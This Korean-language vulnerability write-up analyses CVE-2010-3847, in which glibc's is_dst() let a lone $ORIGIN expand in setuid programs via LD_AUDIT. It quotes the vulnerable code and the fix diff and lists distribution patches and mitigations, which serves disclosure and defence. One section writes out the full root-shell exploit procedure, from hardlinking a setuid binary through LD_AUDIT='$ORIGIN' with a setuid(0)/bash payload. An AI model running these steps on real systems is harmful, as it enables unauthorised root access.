| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2010-3847 |
| 영향 제품/버전 | GNU C Library (glibc) 2.11.2 이하, 2.12.x ~ 2.12.1 (그 이전 다수 버전도 영향) |
| CVSS v2 | 6.9 (Medium, NVD) — AV:L/AC:M/Au:N/C:C/I:C/A:C (impact score 10.0) |
| CWE | CWE-59 (부적절한 심볼릭 링크 해석 제한 계열 — 신뢰 경계를 넘는 경로 제어) |
| 공개일 | 2010-10-18 (Tavis Ormandy full-disclosure 공개), 2011-01-07 (NVD 등재) |
| 발견자 | Tavis Ormandy |
| 수정 커밋 | glibc f08e7af4 "Never expand $ORIGIN in privileged programs" (Andreas Schwab) |
| 취약 지점 | elf/dl-load.c의 is_dst() — SUID/SGID 보안 모드에서 $ORIGIN 단독 사용을 예외적으로 허용하던 로직 |
리눅스에서 동적 링커(ld.so)는 실행 파일이 setuid/setgid로 실행 중일 때 "보안 실행 모드"로 들어가 LD_PRELOAD, LD_AUDIT 같은 환경변수의 위험한 기능을 제한한다. 그중 $ORIGIN이라는 치환자는 "이 실행 파일이 있는 디렉터리"로 확장되는데, ELF 명세는 보안상 setuid/setgid 프로그램에서는 이를 아예 확장하지 말라고 권고한다. glibc는 이 권고를 절반만 따랐다 — $ORIGIN이 경로 문자열 안에 다른 텍스트와 섞여 있을 때만 막았고, $ORIGIN 단독으로(그것 하나가 경로 전체일 때) 쓰이는 경우는 예외로 허용했다.
이 허점은 LD_AUDIT 기능과 결합했을 때 치명적이 된다. LD_AUDIT은 링커 감사(auditing) 라이브러리의 경로를 지정하는 환경변수이며, 이 경로 문자열에도 DST(Dynamic String Token) 치환이 그대로 적용된다. 공격자가 LD_AUDIT=$ORIGIN을 지정하면, $ORIGIN이 단독 사용이라는 이유로 확장을 통과하고, 링커는 "실행 파일이 있는 디렉터리 그 자체"를 감사 라이브러리로 dlopen()한다. 하드링크와 /proc/PID/fd 트릭으로 "실행 파일이 있는 디렉터리"를 공격자가 완전히 통제할 수 있게 만들면, 그 디렉터리 자리에 공격자가 만든 악성 공유 오브젝트를 놓아 setuid 루트 바이너리 실행 컨텍스트 안에서 임의 코드를 실행시킬 수 있다.
ELF 실행 파일이나 공유 라이브러리는 자신이 의존하는 라이브러리(DT_NEEDED)를 어느 디렉터리에서 찾을지 알려주는 검색 경로를 DT_RPATH/DT_RUNPATH 동적 태그에 담을 수 있다. 배포 위치가 고정되지 않은 패키지(예: 사용자 홈 디렉터리 어디에나 설치될 수 있는 프로그램)는 절대 경로 대신 $ORIGIN이라는 특수 토큰을 쓸 수 있다. $ORIGIN은 링커가 "지금 로드 중인 이 오브젝트 파일이 실제로 위치한 디렉터리"로 실행 시점에 치환해 주는 자리표시자다. 예를 들어 RPATH=$ORIGIN/../lib로 설정하면, 실행 파일이 어느 경로에 설치되든 그 파일 기준 상대 위치의 lib 디렉터리를 검색 경로에 넣을 수 있다.
$ORIGIN을 포함해 $PLATFORM, $LIB 같은 치환자를 통틀어 DST(Dynamic String Token)라고 부르며, 이를 실제 문자열로 바꿔치기하는 함수가 _dl_dst_substitute()이고, 치환자인지 판별하는 저수준 함수가 is_dst()다.
setuid 비트가 켜진 실행 파일은 실행한 사용자가 아니라 파일 소유자(흔히 root) 권한으로 동작한다. 문제는 프로세스를 시작하는 쪽(공격자일 수도 있는 일반 사용자)이 그 프로세스의 환경변수를 완전히 통제한다는 점이다. LD_PRELOAD=/tmp/evil.so처럼 임의 공유 라이브러리를 강제로 먼저 로드시키는 기능을 setuid 루트 바이너리에 그대로 허용하면, 그 라이브러리의 생성자 함수가 루트 권한으로 실행되어 즉시 권한 상승으로 이어진다.
이를 막기 위해 glibc는 동적 링커가 setuid/setgid로(또는 그 밖의 상승된 권한으로) 실행 중임을 감지하면 내부 플래그(__libc_enable_secure, 커널이 AT_SECURE 보조 벡터로 알려주는 값에서 파생)를 켠다. 이 플래그가 켜지면 LD_PRELOAD, LD_LIBRARY_PATH 등 "위험한" 환경변수의 영향력을 제한하거나 무시한다. $ORIGIN 치환도 같은 이유로 제한 대상이다 — ELF 명세가 이를 명시적으로 권고한다.
"보안을 위해, 동적 링커는 set-user-id 및 set-group-id 프로그램에 대해
$ORIGIN치환 시퀀스의 사용을 허용하지 않는다.DT_RUNPATH동적 배열 항목에 지정된 문자열 내에 이러한 시퀀스가 나타나면,$ORIGIN시퀀스를 포함하는 특정 검색 경로는 무시된다(단, 같은 문자열 내의 다른 검색 경로는 처리된다)."
LD_AUDIT은 LD_PRELOAD와는 다른 별도 기능으로, 동적 링킹 과정(오브젝트 로드, 심볼 바인딩 등)을 관찰·개입할 수 있는 "감사 라이브러리"의 경로를 지정한다. 이 감사 라이브러리도 결국 dlopen()으로 로드되는 공유 오브젝트이므로, 그 경로 문자열에도 라이브러리 검색과 동일한 DST 치환 로직이 재사용된다. glibc는 LD_PRELOAD와 마찬가지로 LD_AUDIT도 보안 실행 모드에서 제한해야 할 "안전하지 않은" 환경변수로 분류해 두었지만, 그 제한이 적용되는 지점이 $ORIGIN 치환 로직 내부의 예외 조건과 충돌하면서 구멍이 생겼다.
리눅스에서 하드링크는 같은 inode(실제 파일 내용)를 가리키는 또 다른 디렉터리 항목이다. 일반 사용자도 자신이 실행 권한을 가진 파일이라면(setuid 루트 바이너리 포함) 자신이 쓸 수 있는 디렉터리에 하드링크를 만들 수 있다. 이때 "실행 파일이 위치한 디렉터리"라는 개념($ORIGIN이 가리키는 대상)은 원본 설치 경로가 아니라 그 하드링크가 실제로 실행된 경로 기준으로 계산된다. 즉 공격자는 자신이 완전히 통제하는 디렉터리에 setuid 바이너리의 하드링크를 만들어 두는 것만으로 그 바이너리 입장에서의 $ORIGIN을 자신이 원하는 값으로 바꿀 수 있다. Tavis Ormandy의 공개 PoC는 여기에 더해 파일 디스크립터(exec 3< 링크경로)로 그 하드링크를 열어 둔 채 원본 디렉터리를 지우고, 같은 경로 이름 자리에 악성 공유 오브젝트를 다시 만들어 두는 절차까지 사용해 공격을 완성한다. 이 파일시스템 조작 절차 자체는 이 CVE의 근본 원인이 아니라 "임의 디렉터리를 실행 파일의 origin으로 만드는" 전제조건을 충족시키는 방법이며, is_dst()의 논리 결함이 근본 원인이다.
is_dst()는 문자열의 한 지점이 DST 치환자로 시작하는지 판별하고, 보안 모드(secure 인자)일 때 추가 검사를 한다.
// elf/dl-load.c (glibc 2.12.1, 패치 전)
static size_t
is_dst (const char *start, const char *name, const char *str,
int is_path, int secure)
{
size_t len;
...
/* len 계산: name이 str("ORIGIN" 등)로 시작하는 길이 */
if (__builtin_expect (secure, 0)
&& ((name[len] != '\0' && (!is_path || name[len] != ':'))
|| (name != start + 1 && (!is_path || name[-2] != ':'))))
return 0;
return len;
}이 if 조건을 뒤집어 읽으면: secure가 참일 때 이 함수가 거부(return 0)하지 않는 경우는, $ORIGIN 뒤에 남는 문자가 없고(name[len] == '\0', 또는 is_path일 때 다음이 : 구분자) 동시에 $ORIGIN 앞에도 아무것도 없는(name == start + 1, 즉 문자열 맨 앞이거나 : 바로 뒤) 경우뿐이다. 다시 말해 "경로 구성요소 전체가 $ORIGIN 하나뿐"일 때는 보안 모드에서도 치환을 허용했다.
이 값은 두 호출부에서 그대로 쓰인다.
// _dl_dst_count(): 치환이 필요한 DST 개수를 센다
++name;
if ((len = is_dst (start, name, "ORIGIN", is_path,
INTUSE(__libc_enable_secure))) != 0
|| (len = is_dst (start, name, "PLATFORM", is_path, 0)) != 0
|| (len = is_dst (start, name, "LIB", is_path, 0)) != 0)
++cnt;
// _dl_dst_substitute(): 실제로 치환한다
++name;
if ((len = is_dst (start, name, "ORIGIN", is_path,
INTUSE(__libc_enable_secure))) != 0)
{
repl = l->l_origin; // "실행 파일이 위치한 디렉터리"
}주석("$ORIGIN is not expanded for SUID/GUID programs (except if it is $ORIGIN alone)")은 이 동작이 실수가 아니라 의도된 설계였음을 보여준다. Tavis Ormandy는 이 "단독 허용" 예외가 DT_NEEDED 해석 로직을 LD_AUDIT 지원에 재사용하다 생긴 부작용으로 보이며, 보안 목적으로도 실용적 목적으로도 의미가 없는 규칙이라고 지적했다.
[패치 전]
1) 공격자가 쓸 수 있는 디렉터리에 setuid 루트 바이너리의 하드링크 생성
$ ln /bin/ping /tmp/exploit/target (동일 inode, 새 디렉터리 항목)
2) 그 하드링크를 여는 파일 디스크립터를 확보
$ exec 3< /tmp/exploit/target
→ /proc/$$/fd/3 이 해당 inode를 가리킴
3) 디렉터리 자체를 삭제 (fd 3은 열려 있으므로 inode는 살아있음, "(deleted)" 표시)
$ rm -rf /tmp/exploit/
4) 같은 경로 이름 자리에 악성 공유 오브젝트를 새로 생성
$ gcc -shared -o /tmp/exploit payload.c
(payload: 생성자 함수에서 setuid(0); system("/bin/bash");)
5) 그 fd를 통해 setuid 바이너리를 다시 실행하면서 LD_AUDIT="$ORIGIN" 지정
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
│
▼
ld.so: LD_AUDIT 값에 DST 치환 적용
│
▼
is_dst(..., secure=1) 판정
"$ORIGIN"이 문자열 전체 → 예외 조건 충족 → 치환 허용(!)
│
▼
$ORIGIN → l->l_origin (= 실행 파일이 위치한 디렉터리 = 4번에서
공격자가 만든 악성 오브젝트 경로)
│
▼
ld.so가 그 경로를 감사 라이브러리로 dlopen()
│
▼
payload.c의 생성자 함수가 setuid 루트 프로세스 컨텍스트에서 실행
│
▼
setuid(0); system("/bin/bash"); → 루트 셸 획득
핵심은 감사 라이브러리 경로가 원래는 보안 모드에서 LD_PRELOAD와 동등하게 제한되어야 했지만, 그 제한을 구현한 is_dst()의 조건식 자체에 "단독 $ORIGIN은 통과시킨다"는 구멍이 있었고, LD_AUDIT=$ORIGIN이 정확히 그 구멍의 모양에 들어맞았다는 점이다.
수정은 secure 인자의 의미를 바꾸는 대신, $ORIGIN에 대해서만 "보안 모드면 이 함수를 아예 호출하지 않는다"는 방식으로 바뀌었다. is_dst()의 네 번째 인자 이름도 secure에서 is_origin으로 바뀌어, 이제 이 인자는 "지금 검사 중인 토큰이 $ORIGIN인지" 여부만 나타내고(호출자가 보안 모드일 때는 애초에 $ORIGIN 검사 자체를 건너뛴다), "단독이면 통과"라는 예외 조건은 통째로 사라졌다.
static size_t
is_dst (const char *start, const char *name, const char *str,
- int is_path, int secure)
+ int is_path, int is_origin)
{
...
- if (__builtin_expect (secure, 0)
- && ((name[len] != '\0' && (!is_path || name[len] != ':'))
- || (name != start + 1 && (!is_path || name[-2] != ':'))))
+ if (is_origin && name != start + 1 && (!is_path || name[-2] != ':'))
return 0;
return len;
}
size_t
_dl_dst_count (const char *name, int is_path)
{
...
- if ((len = is_dst (start, name, "ORIGIN", is_path,
- INTUSE(__libc_enable_secure))) != 0
+ if ((!INTUSE(__libc_enable_secure)
+ && (len = is_dst (start, name, "ORIGIN", is_path, 1)) != 0)
|| (len = is_dst (start, name, "PLATFORM", is_path, 0)) != 0
|| (len = is_dst (start, name, "LIB", is_path, 0)) != 0)
++cnt;
/* _dl_dst_substitute()도 동일한 패턴으로 수정 */
- if ((len = is_dst (start, name, "ORIGIN", is_path,
- INTUSE(__libc_enable_secure))) != 0)
+ if (!INTUSE(__libc_enable_secure)
+ && (len = is_dst (start, name, "ORIGIN", is_path, 1)) != 0)[패치 후]
LD_AUDIT="$ORIGIN" (또는 RPATH/RUNPATH의 $ORIGIN 무엇이든)
│
▼
__libc_enable_secure 확인 (is_dst 호출 이전 단계에서)
│
┌─────────┴─────────┐
│ │
secure=1 secure=0
(setuid/setgid) (일반 실행)
│ │
▼ ▼
is_dst() 자체를 is_dst(..., is_origin=1) 호출
호출하지 않음 │
│ ├─ $ORIGIN이 경로 요소 전체 → len 반환, 치환
→ $ORIGIN 치환 0건 │
→ l_origin 대입 불가 └─ 그 외 → 0 반환(치환 거부)
→ LD_AUDIT="$ORIGIN"은
빈 문자열/무효 경로로
취급되어 dlopen 실패
"단독이면 허용"이라는 예외 자체를 없앴기 때문에, 보안 실행 모드에서는 $ORIGIN이 경로의 어디에 어떤 형태로 나타나든 — 단독이든 다른 문자열과 섞여 있든 — 전혀 치환되지 않는다. $PLATFORM, $LIB 치환자는 애초에 공격자가 값을 통제할 수 없는 시스템 정보(CPU 아키텍처, 라이브러리 디렉터리명)이므로 이번 수정 대상이 아니다.
배포판 차원의 조치는 glibc 업그레이드이며(각 배포판이 자체 버전 번호로 백포트, 예: RHSA-2010-0872, DSA-2122, USN-1009-1), 즉시 패치가 어려운 환경에서는 이 보고서 발행 당시 권고된 완화책으로 /tmp, /var/tmp 등 일반 사용자가 쓰기 가능한 파일시스템을 nosuid 옵션으로 마운트(또는 bind mount 재마운트)해,애초에 그 위치에서 setuid 바이너리의 하드링크가 유효하게 동작하지 않도록 막는 방법이 제시되었다. 다만 이는 patch를 대체하는 근본 해결책은 아니다.
- CVE-2010-3847 — NVD — 영향 버전, CVSS v2, CWE-59
- Tavis Ormandy, "The GNU C library dynamic linker expands $ORIGIN in setuid library search path" — Full Disclosure 메일링 리스트 — 최초 공개, 코드 인용, PoC 절차, 완화책 원문
- Red Hat Bugzilla #643306 — 배포판 대응 타임라인과 패치 첨부 코멘트
- 수정 패치 (attachment 454096, "Never expand $ORIGIN in privileged programs") — Andreas Schwab,
elf/dl-load.cdiff - 패치 전 소스 (glibc git, commit
a7162eb) —is_dst/_dl_dst_count/_dl_dst_substitute원문 - libc-hacker 메일링 리스트 패치 공지:
http://sourceware.org/ml/libc-hacker/2010-10/msg00007.html(NVD 레퍼런스, 아카이브 접근 제한으로 본문은 위 bugzilla 첨부로 대체 확인)